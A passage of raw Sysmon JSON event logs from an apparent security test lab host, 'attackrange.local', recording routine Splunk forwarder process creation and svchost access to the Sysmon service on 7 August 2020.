Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+568cd6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56657|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56ca7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+8f3800|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:41.045","SourceProcessGUID":"{90617006-42A4-5F2D-0000-0010EA470B00}","SourceProcessId":"4020","SourceThreadId":"2816","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+5691a5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+568cd6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56657|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56ca7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+8f3800|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":6956,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:41.872\r\nProcessGuid: {90617006-42A5-5F2D-0000-0010D34A0B00}\r\nProcessId: 4788\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Windows Print Monitor \r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-winprintmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:01:41.872","ProcessGuid":"{90617006-42A5-5F2D-0000-0010D34A0B00}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","FileVersion":"8.0.2","Description":"Windows Print Monitor ","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-winprintmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 12:01:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6957,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:41.869\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:41.869","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6958,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:41.869\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:41.869","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6959,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:41.869\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:41.869","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6960,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:41.869\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:41.869","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6961,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:41.869\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:41.869","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6962,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:41.869\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:41.869","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6963,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:41.869\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 